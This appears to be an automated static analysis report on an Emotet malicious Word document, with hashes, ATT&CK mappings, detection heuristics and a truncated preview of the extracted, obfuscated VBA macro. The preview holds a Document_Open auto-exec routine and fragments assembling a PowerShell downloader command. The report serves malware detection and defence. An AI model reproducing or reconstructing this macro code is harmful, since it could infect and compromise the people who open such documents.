Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a0c045d61223d8a6…

MALICIOUS

Office (OLE)

308.5 KB Created: 2018-07-13 07:37:00 Authoring application: Microsoft Office Word First seen: 2018-07-23
MD5: 96d7ecba1bc64e5fb61521bc36d95a95 SHA-1: 1dcd7157d5fa0d70026c0232e2668d95f4777f1e SHA-256: a0c045d61223d8a6e11daeb3a9daa3597ea76acc99aec73dfbeac58dc179f069
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code, commonly used to download and run further malicious payloads. The ClamAV detection explicitly names this as Emotet, a well-known downloader family.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6960066-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6960066-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 41331 bytes
SHA-256: 2ebf9efa450da6ed6b0bd7d418f3fdaeddb1ef17a5d6706f50f08df2eb57eba0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iTidiNIvAUDt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   lTAmCu = zHCqf - QfbMk / 44106 / 10126 - rFoIsN - ajWSw * 23957 * dbkfn * kuYsU * tGjzZ
   dzXvW = Afwit - kKbDi / 35153 / 9270 - IsjXIT - thrjD * 62399 * twcWh * fhBajA * JlHLJl
   pXPBJ = YlqmN - hYDBW / 9040 / 33581 - spzUf - GsmHtB * 34578 * wzSDz * NAIcLL * NKubp
   IdZTG = kzNzs - jYLBTQ / 77149 / 36543 - AiApEU - rpTcBQ * 73243 * uwRjA * JkkitF * YikwdR
   UBtjzD = oNQOF - FYNTs / 40526 / 71907 - jEjXTi - hzfRrU * 24997 * duhTRY * llWkdI * doaCAk
wpsoZ = Application.Run("NVVXhuKB", "" + uNMiKhzXbf + MJBzbFjjqwhv + TDwUpQufazM + cNjjHUoi + clLER + rPlwiL + GwmYF + zitifpfwaS + ChbjOPZ + uEETzqw + owbIDlIQSiH + UviCIQdz + WzJcSsnB + dCvtFYjQYS + GUwHSHrz)
   wrAszr = pOMMA - FauSH / 70726 / 16138 - KYjPC - AkIDO * 45037 * jpmZz * pitmZw * Rkiol
   KPNSG = jXziJV - PlGik / 8801 / 39833 - bSWSO - oLJPwJ * 41484 * fjnRzj * TIwlw * WLZHtu
End Sub


Attribute VB_Name = "cmSTdvZLEFIzc"
Function TDwUpQufazM()
On Error Resume Next
VRitu = 87145 - YrGYjw / (UWwId - dzpqs - 69842 + 69536) + IwbNtt / jYUacm + 17394 + EdSRM
cXkBw = "" + dUVaWcrAKJwQsi + DYkzihBjUvkNZ + "poW" + YhCztYSFHj + TnsKZSdOn + "erS" + SvToFaribrl + qhRRkTcRKRht + "hEL"
dqtXwV = jERnd / AnXAd - DHutB + lGrzQ * 48565 - lzTFnh * OwwHj - DwRpvG + Rmqjwr + MObhn * 85653 + sWjhj
   LuwEkv = jBajN / QCsZhN - TsALd + AMHil * 91416 - ofjfmA * dHfrhX - MOSszf + RSukb + usbXp * 77076 + pkTNmh
   MNJdGi = zpmlPN / MpuLj - lfICto + bvFFSz * 68657 - FkGVm * vlkDY - SXdSb + zvhEHk + fLBkj * 35148 + dSHEn
ivmCollQrs = "" + EInJEApp + KwMwJkJ + "L " + vzXRTroKa + LmFJihwn + "  " + Chr(34) + "\" + XZZcduvtM + nGZIjrTRQp + Chr(34) + "$(S" + ttXsDQb + ItYZzoqzsQ + "eT" + jXjjBBpcVXdIV + FBsdlIDfMAii + "-VA" + UXYBQKWrLCO + AlQPESFk + "RIaB" + ncffsUj + mzAzEHEVM + "Le " + qPzwDtvldQzsZ + YlidXfivzMzl + "'OF" + zwsWEKYd + wYupCoGbdSi + "s'  " + iqLHTzkDHkddU + UMNvCBfzks + "'')" + FYIsYjFJ + DEdzZqnRMhkjG + "\" + Chr(34) + " " + nRoDrbO + ifzrFzOvrbJIS + Chr(43) + " ["
oLSjLa = RrnlO / GoSoi - TurwMO + psfHz * 40318 - MOfIh * OINHE - izoDJ + ddliz + GSrld * 73786 + pQBErI
nDCNE = "" + aKjkssfWA + nTrbiRQBPW + "St" + bWODhszuzNN + CMXOmVloQwW + "RiNg" + aarHruziENd + dCuWaGoAcEtndA + "]( ("
LZriHS = CrWSF / zztYnr - ttWQka + VwUNtG * 75700 - nlLrLj * iDniDi - zOpJJ + RDbtjU + EXIZz * 17912 + LHNwj
hamKCt = "" + SdCWTQwFY + pckKRKqfnHvNju + " 3" + sBscGvCkwqKBkF + oCTaawvmpXOH + "6 ," + TcrWGEfHq + AMazpuipMZj + " 80," + TvFGmjh + jXhJNwNDj + " 7" + zakUmAcjSKq + qDLwZVG + "8 , " + ndDSfhjbIsU + sLkUmHB + "118" + slfTJnP + GOTmGRUU + " ,61" + qBwSBoKzNFizKD + SmMXvMijOmhG + " ,11" + zSMFlAuSi + nBZdGEQBWziHXA + "0,10" + REPHEvuFPm + kpzIhZIKF + "1, 1" + hREhURLp + dcNOXtrH + "19" + UwwRhzZZz + SPzhqzOanE + " ,4"
JHMlt = 19893 * QDlomj + nAUsl - LnKNQj / 63882 + dhjJWw
   UNjPS = 55003 * haKwY + NFvSF - WwwVMd / 71753 + WEfQkd
LtJMRYDNFtp = "" + LWZiXdnG + hPblqRIS + "5 ," + rTmhptcvuN + hzjwjGwTLPiU + "11" + uSozcKQKPs + sdBsLUOwhdCtk + "1," + uKcoSdTzJG + kSXiqNoNUSTD + "98" + FoQQuOa + znEROZirlQ + ", "
fKvLjw = 77663 * crYdMX + isLjLv - XvmvZo / 81579 + hnbcZi
   OSlpu = 16405 * aFrvv + ajXijm - YkWAJB / 18973 + CjwzNn
   ZFCPh = 24683 * isubHD + uqsVh - vljswd / 45752 + swiLd
zEzpUhntAkh = "" + hWSLuoHOZCh + HGrFTSoZJQDpV + "10" + MQiiFRJVDVjGdR + vZflpqFJCKDXGO + "6, 1" + zLCIYwsYwl + kLKHqUHPqEHV + "01 " + jvNlPozKHR + XzhGmECV + ", 9" + zvhlGGivEjwDS + NVAkaEss + "9 " + KijRCTpwpwSDih + MNjMTikwYiB + ", 1" + mGDCnwYzdBMIHd + KrSszrfJTijzn + "16," + RFwCpOBqlT + LWDLBkDOrjrw + " 32"
uiJPbL = 69769 * vDJaKi + AhYWI - mPSfM / 68619 + ciNzHN
   jVsQw = 58463 * ABaZZG + BTclII - qkOcF / 8957 + qKTzK
   LjFKo = 20993 * QFnKY + juWVEL - qliosZ / 28873 + rGcPP
slsRJsjQYrV = "" + WbTzEafbRhSf + zswrdaCRRPvEZ + " 
... (truncated)

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